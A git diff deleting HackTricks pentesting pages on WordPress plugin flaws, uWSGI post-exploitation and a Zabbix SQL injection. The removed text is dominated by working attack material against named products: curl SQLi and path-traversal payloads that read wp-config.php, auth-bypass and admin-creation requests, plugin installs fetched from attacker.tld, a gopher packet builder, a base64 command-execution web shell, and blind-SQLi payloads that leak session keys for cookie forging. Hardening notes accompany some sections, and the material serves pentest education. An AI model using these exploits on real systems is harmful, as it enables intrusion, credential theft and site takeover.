-The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
-
-```php
-$category  = WPJOBPORTALrequest::getVar('parentid');
-$inquery   = ' ';
-if ($category) {
-    $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
-}
-$query  = "SELECT max(ordering)+1 AS maxordering FROM "
-        . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
-```
-
-Issues introduced by this snippet:
-
-1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
-2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
-
-#### Exploitation
-
-1. Grab a fresh nonce:
-   ```bash
-   curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
-   ```
-2. Inject arbitrary SQL by abusing `parentid`:
-   ```bash
-   curl -X POST https://victim.com/wp-admin/admin-post.php \
-        -d 'task=savecategory' \
-        -d '_wpnonce=<nonce>' \
-        -d 'parentid=0 OR 1=1-- -' \
-        -d 'cat_title=pwn' -d 'id='
-   ```
-   The response discloses the result of the injected query or alters the database, proving SQLi.
-
-
-### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
-
-Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal.  The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
-
-```php
-$file = $path . '/' . $file_name;
-...
-echo $wp_filesystem->get_contents($file); // raw file output
-```
-
-`$file_name` is attacker-controlled and concatenated **without sanitisation**.  Again, the only gate is a **CSRF nonce** that can be fetched from the resume page.
-
-#### Exploitation
-
-```bash
-curl -G https://victim.com/wp-admin/admin-post.php \
-     --data-urlencode 'task=downloadcustomfile' \
-     --data-urlencode '_wpnonce=<nonce>' \
-     --data-urlencode 'upload_for=resume' \
-     --data-urlencode 'entity_id=1' \
-     --data-urlencode 'file_name=../../../wp-config.php'
-```
-The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
-
-## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
-
-Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
-
-Typical flawed pattern (simplified)
-
-```php
-public function check_login() {
-    // ... request parsing ...
-    switch ($_POST['using']) {
-        case 'fb':     /* set $user_email from verified Facebook token */ break;
-        case 'google': /* set $user_email from verified Google token   */ break;
-        // other providers ...
-        default: /* unsupported/missing provider – execution continues */ break;
-    }
-
-    // FALLBACK: trust POSTed "id" as email if provider data missing
-    $user_email = !empty($user_email)
-        ? $user_email
-        : (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
-
-    if (empty($user_email)) {
-        wp_send_json(['status' => 'not_user']);
-    }
-
-    $user = get_user_by('email', $user_email);
-    if ($user) {
-        wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
-        wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
-    }
-    wp_send_json(['status' => 'not_user']);
-}
-// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
-```
-
-Why it’s exploitable
-
-- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
-- No nonce/capability checks before state change.
-- Missing OAuth/OpenID provider verification; default branch accepts attacker input.
-- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address.
-
-Exploitation (unauthenticated)
-
-- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
-- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
-
-```http
-POST /wp-admin/admin-ajax.php HTTP/1.1
-Host: victim.tld
-Content-Type: application/x-www-form-urlencoded
-
-action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
-```
-
-```bash
-curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-  -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
-```
-
-Expected success indicators
-
-- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
-- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
-
-Finding the action name
-
-- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
-- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
-
-Detection checklist
-
-- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
-- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
-
-Hardening
-
-- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
-- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
-- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
-- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
-
-Patched behaviour (Jobmonster 4.8.0)
-
-- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
-
-## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
-
-Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
-
-- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
-- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
-- Impact: full takeover by chaining the minted key to internal privileged actions
-
-PoC – mint a connection key and use it
-
-```bash
-# 1) Obtain key (unauthenticated). Exact payload varies per plugin
-curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-  -H 'Content-Type: application/json' \
-  --data '{"username":"admin"}'
-# → {"key":"<conn_key>", ...}
-
-# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
-curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-  -H 'Content-Type: application/json' \
-  -H 'X-Connection-Key: <conn_key>' \
-  --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
-```
-
-Why it’s exploitable
-- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
-- No capability enforcement; minted key is accepted as a universal bypass
-
-Detection checklist
-- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
-- Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
-- Look for subsequent routes that accept the minted token/key without server-side capability checks
-
-Hardening
-- For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
-- Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
-- Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can(<cap>)
-
----
-
-## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
-
-Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.
-
-- Vulnerable path: plugin/install_and_activate
-- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
-- Impact: full compromise via arbitrary plugin install/activation
-
-PoC (shape depends on plugin; illustrative only)
-
-```bash
-curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-  -H 'Content-Type: application/json' \
-  --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
-```
-
-Detection checklist
-- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
-- Any code path that sets $skip_caps = true after nonce validation
-
-Hardening
-- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
-- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
-- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
-
-### Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)
-
-[Patchstack's analysis](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/) showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:
-
-```php
-add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
-
-function mvl_theme_install_base() {
-    check_ajax_referer('mvl_theme_install_base', 'nonce');
-
-    $plugin_url  = sanitize_text_field($_GET['plugin']);
-    $plugin_slug = 'motors-car-dealership-classified-listings';
-
-    $upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
-    $upgrader->install($plugin_url);
-    mvl_theme_activate_plugin($plugin_slug);
-}
-```
-
-- Only `check_ajax_referer()` is called; there is no `current_user_can('install_plugins')` or `current_user_can('activate_plugins')`.
-- The nonce is embedded in the Motors admin page, so any Subscriber that can open `/wp-admin/` can copy it from the HTML/JS.
-- The handler trusts the attacker-controlled `plugin` parameter (read from `$_GET`) and passes it into `Plugin_Upgrader::install()`, so an arbitrary remote ZIP is downloaded into `wp-content/plugins/`.
-- After installation the theme unconditionally calls `mvl_theme_activate_plugin()`, guaranteeing execution of the attacker plugin's PHP code.
-
-#### Exploitation flow
-
-1. Register/compromise a low-privileged account (Subscriber is enough) and grab the `mvl_theme_install_base` nonce from the Motors dashboard UI.
-2. Build a plugin ZIP whose top-level directory matches the expected slug `motors-car-dealership-classified-listings/` and embed a backdoor or webshell in the `*.php` entry points.
-3. Host the ZIP and trigger the installer by pointing the handler to your URL:
-
-```http
-POST /wp-admin/admin-ajax.php HTTP/1.1
-Host: victim.tld
-Cookie: wordpress_logged_in_=...
-Content-Type: application/x-www-form-urlencoded
-
-action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
-```
-
-Because the handler reads `$_GET['plugin']`, the same payload can also be sent via the query string.
-
-#### Detection checklist
-
-- Search themes/plugins for `Plugin_Upgrader`, `Theme_Upgrader`, or custom `install_plugin.php` helpers wired to `wp_ajax_*` hooks without capability checks.
-- Inspect any handler that takes a `plugin`, `package`, `source`, or `url` parameter and feeds it into upgrader APIs, especially when the slug is hard-coded but the ZIP contents are not validated.
-- Review admin pages that expose nonces for installer actions—if Subscribers can load the page, assume the nonce leaks.
-
-#### Hardening
-
-- Gate installer AJAX callbacks with `current_user_can('install_plugins')` and `current_user_can('activate_plugins')` after nonce verification; Motors 5.6.82 introduced this check to patch the bug.
-- Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests.
-- Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks.
-
----
-
-## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
-
-Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
-
-- Parameter: s (search)
-- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
-- Impact: database exfiltration (users, hashes), lateral movement
-
-PoC
-
-```bash
-# Replace action with the affected depicter-* handler on the target
-curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
-  --data-urlencode 'action=depicter_search' \
-  --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
-```
-
-Detection checklist
-- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
-- Review custom queries passed to $wpdb->get_results()/query() concatenating s
-
-Hardening
-- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
-- Add a strict allowlist for s and normalize to expected charset/length
-
----
-
-## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
-
-Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
-
-- Parameter: __kubio-site-edit-iframe-classic-template
-- Flaw: no normalization/allowlisting; traversal permitted
-- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
-
-PoC – read wp-config.php
-
-```bash
-curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
-```
-
-Detection checklist
-- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
-- Look for traversal patterns (../) reaching outside the intended templates directory
-
-Hardening
-- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
-- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
-
-
-## References
-
-- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
-- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
-- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
-- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
-- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
-- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
-- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
-- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
-- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
-- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
-- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
-- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
-- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
-- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
-- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
-- [Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites](https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md
deleted file mode 100644
index 592b5917d84..00000000000
--- a/src/network-services-pentesting/pentesting-web/wsgi.md
+++ /dev/null
@@ -1,211 +0,0 @@
-# WSGI Post-Exploitation Tricks
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## WSGI Overview
-
-Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters ("uwsgi params") to the backend application server.
-
-Related pages you may also want to check:
-
-{{#ref}}
-werkzeug.md
-{{#endref}}
-
-{{#ref}}
-../../pentesting-web/ssrf-server-side-request-forgery/README.md
-{{#endref}}
-
-## uWSGI Magic Variables Exploitation
-
-uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.
-
-### Dangerous mappings in front proxies (nginx example)
-
-Misconfigurations like the following directly expose uWSGI magic variables to user input:
-
-```
-location /app/ {
-  include uwsgi_params;
-  # DANGEROUS: maps query args into uwsgi params
-  uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
-  uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
-  uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
-  uwsgi_pass unix:/run/uwsgi/app.sock;
-}
-```
-
-If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module.
-
-### Key Exploitable Variables
-
-#### `UWSGI_FILE` - Arbitrary File Load/Execute
-
-```
-uwsgi_param UWSGI_FILE /path/to/python/file.py;
-```
-Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE).
-
-#### `UWSGI_SCRIPT` - Script Loading
-```
-uwsgi_param UWSGI_SCRIPT module.path:callable;
-uwsgi_param SCRIPT_NAME /endpoint;
-```
-Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.
-
-#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
-```
-uwsgi_param UWSGI_MODULE malicious.module;
-uwsgi_param UWSGI_CALLABLE evil_function;
-uwsgi_param SCRIPT_NAME /backdoor;
-```
-These parameters allow loading arbitrary Python modules and calling specific functions within them.
-
-#### `UWSGI_SETENV` - Environment Variable Manipulation
-```
-uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
-```
-Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.
-
-#### `UWSGI_PYHOME` - Python Environment Manipulation
-```
-uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
-```
-Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
-
-#### `UWSGI_CHDIR` - Directory Change
-```
-uwsgi_param UWSGI_CHDIR /etc/;
-```
-Changes the working directory before processing requests and may be combined with other features.
-
-## SSRF + uwsgi protocol (gopher) pivot
-
-### Threat model
-
-If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, `socket = 127.0.0.1:3031`), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables.
-
-This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like `UWSGI_FILE`.
-
-### uWSGI protocol structure (quick reference)
-
-- Header (4 bytes): `modifier1` (1 byte), `datasize` (2 bytes little-endian), `modifier2` (1 byte)
-- Body: sequence of `[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]`
-
-For standard requests `modifier1` is 0. The body contains uwsgi params such as `SERVER_PROTOCOL`, `REQUEST_METHOD`, `PATH_INFO`, `UWSGI_FILE`, etc. See the official protocol spec for full details.
-
-### Minimal packet builder (generate gopher payload)
-
-```python
-import struct, urllib.parse
-
-def uwsgi_gopher_url(host, port, params):
-    body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
-    pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
-    return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
-
-# Example URL:
-gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
-```
-
-Example usage to force-load a file previously written on the server:
-
-```python
-params = {
-  'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
-  'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
-}
-print(uwsgi_gopher_url('127.0.0.1', 3031, params))
-```
-
-Send the generated URL through the SSRF sink.
-
-### Worked example
-
-If you can write a python file on disk (the extension doesn’t matter) with code like:
-```python
-# /app/profiles/malicious.py
-import os
-os.system('/readflag > /app/profiles/result.txt')
-
-def application(environ, start_response):
-    start_response('200 OK', [('Content-Type','text/plain')])
-    return [b'ok']
-```
-Generate and trigger a gopher payload that sets `UWSGI_FILE` to this path. The backend will import and execute it as a WSGI app.
-
-## Post-Exploitation Techniques
-
-### 1. Persistent Backdoors
-
-#### File-based Backdoor
-```python
-# backdoor.py
-import subprocess, base64
-
-def application(environ, start_response):
-    cmd = environ.get('HTTP_X_CMD', '')
-    if cmd:
-        result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
-        response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
-    else:
-        response = 'Backdoor active'
-    start_response('200 OK', [('Content-Type', 'text/plain')])
-    return [response.encode()]
-```
-Load it with `UWSGI_FILE` and reach it under a chosen `SCRIPT_NAME`.
-
-#### Environment-based Persistence
-```
-uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
-```
-
-### 2. Information Disclosure
-
-#### Environment Variable Dumping
-```python
-# env_dump.py
-import os, json
-
-def application(environ, start_response):
-    env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
-    start_response('200 OK', [('Content-Type', 'application/json')])
-    return [json.dumps(env_data, indent=2).encode()]
-```
-
-#### File System Access
-Combine `UWSGI_CHDIR` with a file-serving helper to browse sensitive directories.
-
-### 3. Privilege Escalation ideas
-
-- If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state.
-- Overriding configuration via environment (`UWSGI_*`) inside a file loaded through `UWSGI_FILE` can affect process model and workers to make persistence stealthier.
-
-```python
-# malicious_config.py
-import os
-
-# Override uWSGI configuration
-os.environ['UWSGI_MASTER'] = '1'
-os.environ['UWSGI_PROCESSES'] = '1'
-os.environ['UWSGI_CHEAPER'] = '1'
-```
-
-## Reverse-proxy desync issues relevant to uWSGI chains (recent)
-
-Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
-
-- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.
-- CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
-
-These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
-
-## References
-
-- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
-- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
-- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
-- [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html)
-- [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/zabbix.md b/src/network-services-pentesting/pentesting-web/zabbix.md
deleted file mode 100644
index 007d2d4fd72..00000000000
--- a/src/network-services-pentesting/pentesting-web/zabbix.md
+++ /dev/null
@@ -1,166 +0,0 @@
-# Zabbix Security
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Zabbix is a monitoring platform exposing a web UI (typically behind Apache/Nginx) and a server component that also talks the Zabbix protocol on TCP/10051 (server/trapper) and agent on TCP/10050. During engagements you may encounter:
-
-- Web UI: HTTP(S) virtual host like zabbix.example.tld
-- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
-- Zabbix agent port: 10050/tcp
-
-Useful cookie format: zbx_session is Base64 of a compact JSON object that includes at least sessionid, serverCheckResult, serverCheckTime and sign. The sign is an HMAC of the JSON payload.
-
-## zbx_session cookie internals
-
-Recent Zabbix versions compute the cookie like:
-
-- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
-- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
-- Final cookie: Base64(JSON_with_sign)
-
-If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.
-
-## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
-
-Affected versions (as publicly documented):
-
-- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
-
-Vulnerability summary:
-
-- When a Script execution is recorded into the Zabbix Server audit log, the clientip field is not sanitized and is concatenated into SQL, enabling time-based blind SQLi via the server component.
-- This is exploitable by sending a crafted "command" request to the Zabbix server port 10051 with a valid low-privileged sessionid, a hostid the user can access, and a permitted scriptid.
-
-Preconditions and discovery tips:
-
-- sessionid: From guest/login in the web UI, decode zbx_session (Base64) to get sessionid.
-- hostid: Observe via web UI requests (e.g., Monitoring → Hosts) or intercept with a proxy; common default is 10084.
-- scriptid: Only scripts permitted to the current role will execute; verify by inspecting the script menu/AJAX responses. Defaults like 1 or 2 are often allowed; 3 may be denied.
-
-### Exploitation flow
-
-1) Trigger audit insert with SQLi in clientip
-
-- Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.
-
-Minimal message (JSON body) fields:
-
-```json
-{
-  "request": "command",
-  "sid": "<low-priv-sessionid>",
-  "scriptid": "1",
-  "clientip": "' + (SQL_PAYLOAD) + '",
-  "hostid": "10084"
-}
-```
-
-The full wire format is: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. You can use pwntools or your own socket code to frame it.
-
-2) Time-bruteforce secrets via conditional sleep
-
-Use conditional expressions to leak hex-encoded secrets 1 char at a time by measuring response time. Examples that have worked in practice:
-
-- Leak global session_key from config:
-
-```sql
-(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
-```
-
-- Leak Admin session_id (userid=1) from sessions:
-
-```sql
-(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
-```
-
-Notes:
-
-- charset: 32 hex chars [0-9a-f]
-- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
-- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
-
-3) Forge Admin cookie
-
-Once you have:
-
-- session_key: 32-hex from config.session_key
-- admin_sessionid: 32-hex from sessions.sessionid for userid=1
-
-Compute:
-
-- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
-- zbx_session = Base64(JSON_with_sign)
-
-Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
-
-### Ready-made tooling
-
-- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
-- Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.
-
-## RCE via Script execution (post-Admin)
-
